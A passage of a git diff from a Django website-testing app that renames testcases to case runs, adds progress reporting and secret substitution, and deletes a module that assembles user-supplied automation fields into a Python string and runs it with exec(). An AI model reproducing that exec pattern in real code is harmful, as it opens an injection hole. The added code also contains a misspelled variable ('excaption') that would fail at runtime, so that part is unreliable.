 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -534,7 +534,7 @@
 #                     exception = self.format_exception_s(e)
 #                     passed = False
 
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -545,7 +545,7 @@
 #             if step['assertion']['type'] == 'exists':
 #                 exception = None
 #                 passed = True
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='assertion', 
 #                     start_time=datetime.now()
 #                 )
@@ -571,7 +571,7 @@
 #                     exception = self.format_exception_s(e)
 #                     passed = False
 
-#                 self.update_testcase_s(
+#                 self.update_caserun_s(
 #                     index=i, type='assertion', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -581,15 +581,15 @@
 
 #             i += 1  
 
-#         self.update_testcase_s(
+#         self.update_caserun_s(
 #             time_completed=datetime.now()
 #         )
 #         quit_driver(driver=self.driver)
-#         print('-- testcase run complete --')
+#         print('-- caserun run complete --')
         
-#         if not self.testcase.passed and self.testcase.configs.get('create_issue'):
+#         if not self.caserun.passed and self.caserun.configs.get('create_issue'):
 #             print('generating new Issue...')
-#             Issuer(testcase=self.testcase).build_issue()
+#             Issuer(caserun=self.caserun).build_issue()
         
 #         return None
 
@@ -598,13 +598,13 @@
 
 #     async def run_p(self) -> None:
 #         """
-#         Runs the self.testcase using pupeteer as the driver
+#         Runs the self.caserun using pupeteer as the driver
 
 #         Returns -> None
 #         """
 
-#         print(f'beginning testcase for {self.site_url}  \
-#             using case {self.case_name}')
+#         print(f'beginning caserun for {self.site_url}  \
+#             using case {self.title}')
         
 #         # initate driver
 #         self.driver = await driver_p_init()
@@ -661,7 +661,7 @@
 #             if step['action']['type'] == 'navigate':
 #                 exception = None
 #                 passed = True
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -679,7 +679,7 @@
 #                     passed = False
 
                 
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -690,7 +690,7 @@
 #             if step['action']['type'] == 'scroll':
 #                 exception = None
 #                 passed = True
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -710,7 +710,7 @@
 #                     exception = await self.format_exception(e)
 #                     passed = False
 
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -721,7 +721,7 @@
 #             if step['action']['type'] == 'click':
 #                 exception = None
 #                 passed = True
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -743,7 +743,7 @@
 #                     exception = await self.format_exception(e)
 #                     passed = False
 
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -754,7 +754,7 @@
 #             if step['action']['type'] == 'change':
 #                 exception = None
 #                 passed = True
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -778,7 +778,7 @@
 #                     exception = await self.format_exception(e)
 #                     passed = False
 
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -789,7 +789,7 @@
 #             if step['action']['type'] == 'keyDown':
 #                 exception = None
 #                 passed = True
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     start_time=datetime.now()
 #                 )
@@ -806,7 +806,7 @@
 #                     exception = await self.format_exception(e)
 #                     passed = False
 
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='action', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -817,7 +817,7 @@
 #             if step['assertion']['type'] == 'match':
 #                 exception = None
 #                 passed = True
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='assertion', 
 #                     start_time=datetime.now()
 #                 )
@@ -841,7 +841,7 @@
 #                     exception = await self.format_exception(e)
 #                     passed = False
 
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='assertion', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -852,7 +852,7 @@
 #             if step['assertion']['type'] == 'exists':
 #                 exception = None
 #                 passed = True
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='assertion', 
 #                     start_time=datetime.now()
 #                 )
@@ -870,7 +870,7 @@
 #                     exception = await self.format_exception(e)
 #                     passed = False
 
-#                 await self.update_testcase(
+#                 await self.update_caserun(
 #                     index=i, type='assertion', 
 #                     end_time=datetime.now(), 
 #                     passed=passed, 
@@ -879,15 +879,15 @@
 #                 )
 
 #             i += 1    
-#         await self.update_testcase(
+#         await self.update_caserun(
 #             time_completed=datetime.now()
 #         )
 #         await self.driver.close()
-#         print('-- testcase run complete --')
+#         print('-- caserun run complete --')
 
-#         if not self.testcase.passed and self.testcase.configs.get('create_issue'):
+#         if not self.caserun.passed and self.caserun.configs.get('create_issue'):
 #             print('generating new Issue...')
-#             Issuer(testcase=self.testcase).build_issue()
+#             Issuer(caserun=self.caserun).build_issue()
 
 #         return None
 
diff --git a/app/api/utils/autocaser.py b/app/api/utils/autocaser.py
index 95eac27a..2719cf91 100644
--- a/app/api/utils/autocaser.py
+++ b/app/api/utils/autocaser.py
@@ -1123,7 +1123,7 @@ def sub_element_mapping(elements, steps):
                 site_url = self.site.site_url,
                 user     = self.site.user,
                 account  = self.site.account,
-                name     = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
+                title    = element['elem_text'] if len(element['elem_text']) > 0 else f'Case {str(case_id)[0:5]}',
                 type     = "generated",
                 steps    = {
                     'url':  steps_url,
diff --git a/app/api/utils/automater.py b/app/api/utils/automater.py
deleted file mode 100644
index 07885c5b..00000000
--- a/app/api/utils/automater.py
+++ /dev/null
@@ -1,325 +0,0 @@
-from ..models import *
-from .alerts import *
-import re, uuid
-
-
-
-
-
-
-class Automater():
-    """ 
-    Build and execute `Automation` logic generated by a user.
-
-    Expects: {
-        'automation_id' : str,
-        'object_id'     : str
-    }
-
-    Use `Automater.run_automation()` to run an `Automation`
-
-    Returns -> None
-    """
-
-
-    def __init__(self, automation_id: str=None, object_id: str=None):
-    
-        self.automation = Automation.objects.get(id=automation_id)
-        self.object_id = object_id
-        self.exp_list = []
-        self.act_list = []
-        self.object = None
-        self.use_exp = True
-
-
-
-
-    def get_object(self) -> bool:
-        """
-        Tries to get the focus object from self.object - if found 
-        will set self.object and self.use_exp
-
-        Returns -> bool or object
-        """
-
-        if self.automation.schedule.task_type == 'scan':
-            try:
-                self.object = Scan.objects.get(id=self.object_id)
-            except:
-                return False
-
-        elif self.automation.schedule.task_type == 'test':
-            try:
-                self.object = Test.objects.get(id=self.object_id)
-            except:
-                return False
-        
-        elif self.automation.schedule.task_type == 'report':
-            try:
-                self.object = Report.objects.get(id=self.object_id)
-                self.use_exp = False
-            except:
-                return False
-
-        elif self.automation.schedule.task_type == 'testcase':
-            try:
-                self.object = Testcase.objects.get(id=self.object_id)
-                self.use_exp = True
-            except:
-                return False
-
-        else:
-            return False      
-    
-
-
-
-    def build_exp_list(self) -> None:
-        """ 
-        Loop through the automation.expressions
-        and rebuilds into self.exp_list
-
-        Returns -> None
-        """
-                
-        # begin iteration
-        for expression in self.automation.expressions:
-
-            # set defaults
-            exp = None
-            data_type = None
-            operator = ' == '
-            joiner = ''
-            data_type = 'self.object.status'
-            value = f"str('{str(expression['value'])}')"
-
-            # getting data
-            if self.object:
-                
-                # get comparison value
-                if expression['data_type'] != 'testcase_status' and expression['data_type'] != 'test_status':
-                    value = str(float(re.search(r'\d+', str(expression['value'])).group()))
-
-                # get operator
-                if '>=' in expression['operator']:
-                    operator = ' >= '
-                elif '<=' in expression['operator']:
-                    operator = ' <= '
-                else:
-                    operator = ' == '
-                
-                # get joiner
-                if 'and' in expression['joiner']:
-                    joiner = ' and '
-                elif 'or' in expression['joiner']:
-                    joiner = ' or '
-                else:
-                    joiner = ''
-
-
-            # high-level test data 
-            if 'test_score' in expression['data_type']:
-                data_type = 'float(self.object.score)'
-            elif 'current_health' in expression['data_type']:
-                data_type = '((float(self.object.lighthouse_delta["scores"].get("current_average",0)) + float(self.object.yellowlab_delta["scores"].get("current_average",0)))/2)'
-            elif 'avg_image_score' in expression['data_type']:
-                data_type = 'float(self.object.images_delta.get("average_score",0))'
-            elif 'image_scores' in expression['data_type']:
-                data_type = '[i["score"] for i in self.object.images_delta["images"]]' 
-                exp = f'{joiner}any(i{operator}{value} for i in {data_type})'
-            elif 'test_status' in expression['data_type']:
-                data_type = 'self.object.status' 
-            # high-level scan data
-            elif 'health' in expression['data_type']:
-                data_type = '((float(self.object.lighthouse["scores"].get("average",0)) + float(self.object.yellowlab["scores"].get("globalScore",0)))/2)'
-            elif 'logs' in expression['data_type']:
-                data_type = 'len(self.object.logs)'
-            
-            # LH test data
-            elif 'current_lighthouse_average' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"].get("current_average",0))'
-            elif 'seo_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"].get("seo_delta",0))'
-            elif 'pwa_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"].get("pwa_delta",0))'
-            elif 'crux_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"].get("crux_delta",0))'
-            elif 'best_practices_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"].get("best_practices_delta", 0))'
-            elif 'performance_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"].get("performance_delta",0))'
-            elif 'accessibility_delta' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse_delta["scores"].get("accessibility_delta",0))'
-            
-            # LH scan data
-            elif 'lighthouse_average' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"].get("average",0))'
-            elif 'seo' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"].get("seo",0))'
-            elif 'pwa' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"].get("pwa",0))'
-            elif 'crux' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"].get("crux",0))'
-            elif 'best_practices' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"].get("best_practices",0))'
-            elif 'performance' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"].get("performance",0))'
-            elif 'accessibility' in expression['data_type']:
-                data_type = 'float(self.object.lighthouse["scores"].get("accessibility",0))'
-
-            # YL test data
-            elif 'current_yellowlab_average' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("current_average",0))'
-            elif 'pageWeight_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("pageWeight_delta",0))'
-            elif 'images_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("images_delta",0))'
-            elif 'domComplexity_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("domComplexity_delta",0))'
-            elif 'javascriptComplexity_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("javascriptComplexity_delta",0))'
-            elif 'badJavascript_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("badJavascript_delta",0))'
-            elif 'jQuery_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("jQuery_delta",0))'
-            elif 'cssComplexity_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("cssComplexity_delta",0))'
-            elif 'badCSS_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("badCSS_delta",0))'
-            elif 'fonts_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("fonts_delta",0))'
-            elif 'serverConfig_delta' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab_delta["scores"].get("serverConfig_delta",0))'
-            
-            # LH scan data
-            elif 'yellowlab_average' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("globalScore",0))'
-            elif 'pageWeight' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("pageWeight",0))'
-            elif 'images' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("images",0))'
-            elif 'domComplexity' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("domComplexity",0))'
-            elif 'javascriptComplexity' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("javascriptComplexity",0))'
-            elif 'badJavascript' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("badJavascript",0))'
-            elif 'jQuery' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("jQuery",0))'
-            elif 'cssComplexity' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("cssComplexity",0))'
-            elif 'badCSS' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("badCSS",0))'
-            elif 'fonts' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("fonts",0))'
-            elif 'serverConfig' in expression['data_type']:
-                data_type = 'float(self.object.yellowlab["scores"].get("serverConfig",0))'
-            
-            # building exp if not defiined
-            if exp is None:
-                exp = f'{joiner}{data_type}{operator}{value}'
-
-            # adding exp to exp_list
-            self.exp_list.append(exp)
-
-        return None
-
-
-
-
-    def build_act_list(self) -> None:
-        """ 
-        Loop through the automation.actions
-        and rebuilds into self.act_list
-
-        Returns -> None
-        """
-
-        # begin iteration
-        for action in self.automation.actions:
-
-            if 'slack' in action['action_type']:
-                action_type = str(
-                    f"\n  print('sending slack alert')" +
-                    f"\n  automation_slack(automation_id='{str(self.automation.id)}'," +
-                    f" object_id='{str(self.object_id)}')"
-                )
-            
-            if 'webhook' in action['action_type']:
-                action_type = str(
-                    f"\n  print('sending webhook alert')" +
-                    f"\n  automation_webhook(request_type='{action['request']}'," +
-                    f" request_url='{action['url']}', request_data='{action['json']}'," +
-                    f" automation_id='{str(self.automation.id)}'," +
-                    f" object_id='{str(self.object_id)}')"
-                )
-
-            if 'email' in action['action_type']:
-                action_type = str(
-                    f"\n  print('sending email alert')" +
-                    f"\n  automation_email(email='{action['email']}'," +
-                    f" automation_id='{str(self.automation.id)}'," +
-                    f" object_id='{str(self.object_id)}')"
-                )
-                if type(self.object).__name__ == 'Report':
-                    action_type = str(
-                        f"\n  print('sending report email')" +
-                        f"\n  automation_report_email(email='{action['email']}'," +
-                        f" automation_id='{str(self.automation.id)}'," +
-                        f" object_id='{str(self.object_id)}')"
-                    )
-            
-            if 'phone' in action['action_type']:
-                action_type = str(
-                    f"\n  print('sending phone alert')" +
-                    f"\n  automation_phone(phone_number='{action['phone']}'," +
-                    f" automation_id='{str(self.automation.id)}'," +
-                    f" object_id='{str(self.object_id)}')"
-                )
-
-            # adding action to act_list
-            self.act_list.append(action_type)
-
-
-
-
-    def run_automation(self) -> None:
-
-        # get object data
-        self.get_object()
-
-        # setting default
-        exp_string = '1 == 1'
-
-        # if obj was retrieved
-        if self.object:
-
-            # build expression if self.use_exp
-            if self.use_exp:
-                self.build_exp_list()
-                exp_string = ' '.join(self.exp_list)
-
-            # build action list
-            self.build_act_list()
-            act_string = ''.join(self.act_list)            
-
-            # building final exec str
-            automation_logic = f'if {exp_string}:{act_string}'
-            print(automation_logic)
-
-            # executing automation logic
-            exec(automation_logic)
-
-        return None
-
-
-        
-
-
-
-
-        
-
-
-        
-        
\ No newline at end of file
diff --git a/app/api/utils/caser.py b/app/api/utils/caser.py
index 7136ff1b..f2cc3d24 100644
--- a/app/api/utils/caser.py
+++ b/app/api/utils/caser.py
@@ -1,12 +1,14 @@
-from .driver import driver_init, driver_wait, quit_driver
-from .issuer import Issuer
-import time, uuid, json, boto3, os, requests
+from asgiref.sync import sync_to_async
+from cryptography.fernet import Fernet
 from selenium.webdriver.common.by import By
 from selenium.webdriver.common.keys import Keys
+from .driver import driver_init, driver_wait, quit_driver
+from .issuer import Issuer
+from .updater import update_flowrun
 from ..models import * 
-from datetime import datetime, timezone
-from asgiref.sync import sync_to_async
 from cursion import settings
+from datetime import datetime, timezone
+import time, uuid, json, boto3, os, requests
 
 
 
@@ -15,15 +17,18 @@
 
 class Caser():
     """ 
-    Run a `Testcase` for a specific `Site` or 
+    Run a `CaseRun` for a specific `Site` or 
     gather element info for new `Case`.
 
     Expects: {
-        'testcase'  : object,
-        'case'      : object,
+        'caserun'       : object,
+        'case'          : object,
+        'process'       : object,
+        'flowrun_id'    : str,
+        'node_index'    : str,
     }
 
-    - Use `Caser.run()` to run Case as Testcase
+    - Use `Caser.run()` to run Case as CaseRun
     - Use `Caser.pre_run()` to run gather element info for a new Case 
 
     Returns -> None
@@ -34,21 +39,25 @@ class Caser():
 
     def __init__(
             self, 
-            case        : object=None, 
-            testcase    : object=None,
-            process     : object=None
+            case       : object=None, 
+            caserun    : object=None,
+            process    : object=None,
+            flowrun_id : str=None,
+            node_index : str=None,
         ):
        
         # primary objects
-        self.testcase = testcase
         self.case = case
+        self.caserun = caserun
         self.process = process
         
         # secondary objects
-        self.site_url = self.testcase.site.site_url if self.testcase else self.case.site.site_url
-        self.steps = self.testcase.steps if self.testcase else requests.get(self.case.steps['url']).json()
-        self.case_name = self.testcase.case.name if self.testcase else self.case.name
-        self.configs = self.testcase.configs if self.testcase else settings.CONFIGS
+        self.site_url = self.caserun.site.site_url if self.caserun else self.case.site.site_url
+        self.steps = self.caserun.steps if self.caserun else requests.get(self.case.steps['url']).json()
+        self.configs = self.caserun.configs if self.caserun else settings.CONFIGS
+        self.flowrun_id = flowrun_id
+        self.node_index = node_index
+        self.secrets = Secret.objects.filter(account=self.caserun.account)
 
         # init driver
         self.driver = driver_init(
@@ -92,35 +101,85 @@ def __init__(
             'Tab':          Keys.TAB
         }
 
+        # update flowrun
+        if self.flowrun_id:
+            update_flowrun(**{
+                'flowrun_id': self.flowrun_id,
+                'node_index': self.node_index,
+                'message': (
+                    f'starting up driver for case run using {self.configs.get('browser', 'chrome')}'
+                ),
+                'object_id': str(self.caserun.id)
+            })
+
+
 
 
+    def transpose_data(self, string: str=None) -> str:
+        """ 
+        Using replaces all vairables in string with 
+        account `Secrets`.
+
+        Expects: {
+            'string' : str (to be transposed)
+        }
 
-    def update_testcase(
+        Returns -> transposed string
+        """
+
+        # decryption helper
+        def decrypt_secret(value):
+            f = Fernet(settings.SECRETS_KEY)
+            decoded = f.decrypt(value)
+            return decoded.decode('utf-8')
+
+        # create secrets_list
+        secrets_list = []
+        for secret in self.secrets:
+            secrets_list.append({
+                'key': '{{'+str(secret.name)+'}}',
+                'value': decrypt_secret(secret.value)
+            })
+        
+        # iterate through secrets and replace data 
+        for item in secrets_list:
+            string = string.replace(
+                item['key'], 
+                item['value']
+            )
+        
+        # return transposed str
+        return string
+
+
+
+
+    def update_caserun(
             self, index: str=None, type: str=None, start_time: str=None, end_time: str=None, 
             status: str=None, exception: str=None, time_completed: str=None, image: str=None,
         ) -> None:
         # updates Tescase for a selenium run (async) 
         if start_time != None:
-            self.testcase.steps[index][type]['time_created'] = str(start_time)
+            self.caserun.steps[index][type]['time_created'] = str(start_time)
         if end_time != None:
-            self.testcase.steps[index][type]['time_completed'] = str(end_time)
+            self.caserun.steps[index][type]['time_completed'] = str(end_time)
         if status != None:
-            self.testcase.steps[index][type]['status'] = status
+            self.caserun.steps[index][type]['status'] = status
         if exception != None:
-            self.testcase.steps[index][type]['exception'] = str(exception)
+            self.caserun.steps[index][type]['exception'] = str(exception)
         if image != None:
-            self.testcase.steps[index][type]['image'] = str(image)
+            self.caserun.steps[index][type]['image'] = str(image)
         if time_completed != None:
-            self.testcase.time_completed = time_completed
-            test_status = 'passed'
-            for step in self.testcase.steps:
+            self.caserun.time_completed = time_completed
+            run_status = 'passed'
+            for step in self.caserun.steps:
                 if step['action']['status'] == 'failed':
-                    test_status = 'failed'
+                    run_status = 'failed'
                 if step['assertion']['status'] == 'failed':
-                    test_status = 'failed'
-            self.testcase.status = test_status
+                    run_status = 'failed'
+            self.caserun.status = run_status
         
-        self.testcase.save()
+        self.caserun.save()
         return
 
 
@@ -174,12 +233,12 @@ def format_element(self, element: object) -> str:
 
 
     def save_screenshot(self) -> str:
-        '''
+        """
         Grabs & uploads a screenshot of the `page` 
         passed in the params. 
 
         Returns -> `image_url` <str:remote path to image>
-        '''
+        """
 
         # setup boto3 configurations
         s3 = boto3.client(
@@ -197,7 +256,7 @@ def save_screenshot(self) -> str:
 
         # seting up paths
         image = os.path.join(settings.BASE_DIR, f'{pic_id}.png')
-        remote_path = f'static/testcases/{self.testcase.id}/{pic_id}.png'
+        remote_path = f'static/caseruns/{self.caserun.id}/{pic_id}.png'
         root_path = settings.AWS_S3_URL_PATH
         image_url = f'{root_path}/{remote_path}'
     
@@ -366,12 +425,26 @@ def get_element_image(self, element: object) -> str:
 
     def run(self) -> None:
         """
-        Runs the self.testcase using selenium as the driver
+        Runs the self.caserun using selenium as the driver
 
         Returns -> None
         """
 
-        print(f'beginning testcase for {self.site_url} using case {self.case_name}')
+        msg = f'starting case run for {self.site_url} using case "{self.caserun.title}" | run_id: {str(self.caserun.id)}'
+        print(msg)
+
+        # update flowrun
+        if self.flowrun_id:
+            update_flowrun(**{
+                'flowrun_id': self.flowrun_id,
+                'node_index': self.node_index,
+                'message': msg,
+                'objects': [{
+                    'parent': str(self.caserun.site.id),
+                    'id': str(self.caserun.id),
+                    'status': 'working'
+                }]
+            })
         
         # initate driver
         self.driver = driver_init(
@@ -385,7 +458,15 @@ def run(self) -> None:
 
         i = 0
         for step in self.steps:
-            print(f'-- running step #{i+1} --')
+            msg = f'running step #{i+1} | run_id: {str(self.caserun.id)}'
+            
+            # update flowrun
+            if self.flowrun_id:
+                update_flowrun(**{
+                    'flowrun_id': self.flowrun_id,
+                    'node_index': self.node_index,
+                    'message': msg
+                })
         
             # adding catch if nav is not first
             if i == 0 and step['action']['type'] != 'navigate':
@@ -398,13 +479,23 @@ def run(self) -> None:
             if step['action']['type'] == 'navigate':
                 exception = None
                 status = 'passed'
-                self.update_testcase(
+                self.update_caserun(
                     index=i, type='action', 
                     start_time=datetime.now(timezone.utc)
                 )
 
                 try:
-                    print(f'navigating to {self.site_url}{step["action"]["path"]}')
+                    msg = f'navigating to {self.site_url}{step["action"]["path"]} | run_id: {str(self.caserun.id)}'
+                    print(msg)
+
+                    # updating flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': msg
+                        })
+
                     # using selenium, navigate to requested path & wait for page to load
                     driver_wait(
                         driver=self.driver, 
@@ -419,9 +510,19 @@ def run(self) -> None:
                 except Exception as e:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
+                    msg = excaption
                     status = 'failed'
 
-                self.update_testcase(
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': f'❌ {exception} | run_id: {str(self.caserun.id)}'
+                        })
+
+                # update caserun
+                self.update_caserun(
                     index=i, type='action', 
                     end_time=datetime.now(timezone.utc), 
                     status=status, 
@@ -429,17 +530,30 @@ def run(self) -> None:
                     image=image
                 )
 
+                # exit early if configs.end_on_fail == True
+                if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
+                    break
+
 
             if step['action']['type'] == 'scroll':
                 exception = None
                 status = 'passed'
-                self.update_testcase(
+                self.update_caserun(
                     index=i, type='action', 
                     start_time=datetime.now(timezone.utc)
                 )
 
                 try:
-                    print(f'scrolling -> {step["action"]["value"]}')
+                    msg = f'scrolling ({step["action"]["value"]}) | run_id: {str(self.caserun.id)}'
+                    print(msg)
+
+                    # updating flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message':msg
+                        })
                                     
                     # scrolling using plain JavaScript
                     self.driver.execute_script(f'window.scrollTo({step["action"]["value"]});')
@@ -453,25 +567,48 @@ def run(self) -> None:
                     exception = self.format_exception(e)
                     status = 'failed'
 
-                self.update_testcase(
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': f'❌ {exception} | run_id: {str(self.caserun.id)}'
+                        })
+
+                # update caserun
+                self.update_caserun(
                     index=i, type='action', 
                     end_time=datetime.now(timezone.utc), 
                     status=status, 
                     exception=exception,
                     image=image
                 )
+
+                # exit early if configs.end_on_fail == True
+                if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
+                    break
         
 
             if step['action']['type'] == 'click':
                 exception = None
                 status = 'passed'
-                self.update_testcase(
+                self.update_caserun(
                     index=i, type='action', 
                     start_time=datetime.now(timezone.utc)
                 )
 
                 try:
-                    print(f'clicking element -> {step["action"]["element"]}')
+                    msg = f'clicking element "{step["action"]["element"]["selector"]}" | run_id: {str(self.caserun.id)}'
+                    print(msg)
+
+                    # updating flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message':msg
+                        })
+
                     # using selenium, find and click on the 'element' 
                     selector = self.format_element(step["action"]["element"]["selector"])
                     xpath = self.format_element(step["action"]["element"]["xpath"])
@@ -498,25 +635,48 @@ def run(self) -> None:
                     exception = self.format_exception(e)
                     status = 'failed'
 
-                self.update_testcase(
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': f'❌ {exception} | run_id: {str(self.caserun.id)}'
+                        })
+
+                # update caserun
+                self.update_caserun(
                     index=i, type='action', 
                     end_time=datetime.now(timezone.utc), 
                     status=status, 
                     exception=exception,
                     image=image
                 )
+
+                # exit early if configs.end_on_fail == True
+                if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
+                    break
         
 
             if step['action']['type'] == 'change':
                 exception = None
                 status = 'passed'
-                self.update_testcase(
+                self.update_caserun(
                     index=i, type='action', 
                     start_time=datetime.now(timezone.utc)
                 )
                 
                 try:
-                    print(f'changing element to value -> {step["action"]["value"]}') 
+                    msg = f'changing element "{step["action"]["element"]["selector"]}" value to "{step["action"]["value"]}" | run_id: {str(self.caserun.id)}'
+                    print(msg)
+
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': msg
+                        })
+
                     # using selenium, find and change the 'element'.value
                     selector = self.format_element(step["action"]["element"]["selector"])
                     xpath = self.format_element(step["action"]["element"]["xpath"])
@@ -534,7 +694,7 @@ def run(self) -> None:
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
 
                     # changing value of element
-                    value = step["action"]["value"]
+                    value = self.transpose_data(step["action"]["value"])
                     element.send_keys(value)
                     time.sleep(int(self.configs.get('min_wait_time', 3)))
                     image = self.save_screenshot()
@@ -543,8 +703,17 @@ def run(self) -> None:
                     image = self.save_screenshot()
                     exception = self.format_exception(e)
                     status = 'failed'
-
-                self.update_testcase(
+                
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': f'❌ {exception} | run_id: {str(self.caserun.id)}'
+                        })
+
+                # update caserun
+                self.update_caserun(
                     index=i, type='action', 
                     end_time=datetime.now(timezone.utc), 
                     status=status, 
@@ -552,17 +721,31 @@ def run(self) -> None:
                     image=image
                 )
 
+                # exit early if configs.end_on_fail == True
+                if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
+                    break
+
 
             if step['action']['type'] == 'keyDown':
                 exception = None
                 status = 'passed'
-                self.update_testcase(
+                self.update_caserun(
                     index=i, type='action', 
                     start_time=datetime.now(timezone.utc)
                 )
                 
                 try:
-                    print(f'keyDown action for key -> {step["action"]["key"]}')
+                    msg = f'keyDown action using key "{step["action"]["key"]}" | run_id: {str(self.caserun.id)}'
+                    print(msg)
+
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': msg
+                        })
+
                     # getting last known element
                     n = (i - 1)
                     elm = None
@@ -599,7 +782,16 @@ def run(self) -> None:
                     exception = self.format_exception(e)
                     status = 'failed'
 
-                self.update_testcase(
+                    # update flowrun
+                    if self.flowrun_id:
+                        update_flowrun(**{
+                            'flowrun_id': self.flowrun_id,
+                            'node_index': self.node_index,
+                            'message': f'❌ {exception} | run_id: {str(self.caserun.id)}'
+                        })
+
+                # update caserun
+                self.update_caserun(
                     index=i, type='action', 
                     end_time=datetime.now(timezone.utc), 
                     status=status, 
@@ -607,18 +799,32 @@ def run(self) -> None:
                     image=image
                 )
 
+                # exit early if configs.end_on_fail == True
+                if self.caserun.configs.get('end_on_fail', True) and status == 'failed':
+                    break
+
 
             if step['assertion']['type'] == 'match':
                 exception = None
                 status = 'passed'
-                self.update_testcase(
+                self.update_caserun(
                     index=i, type='assertion', 
                     start_time=datetime.now(timezone.utc)
                 )
 
                 try:
                     # using selenium, find elememt and assert if element.text == assertion.value
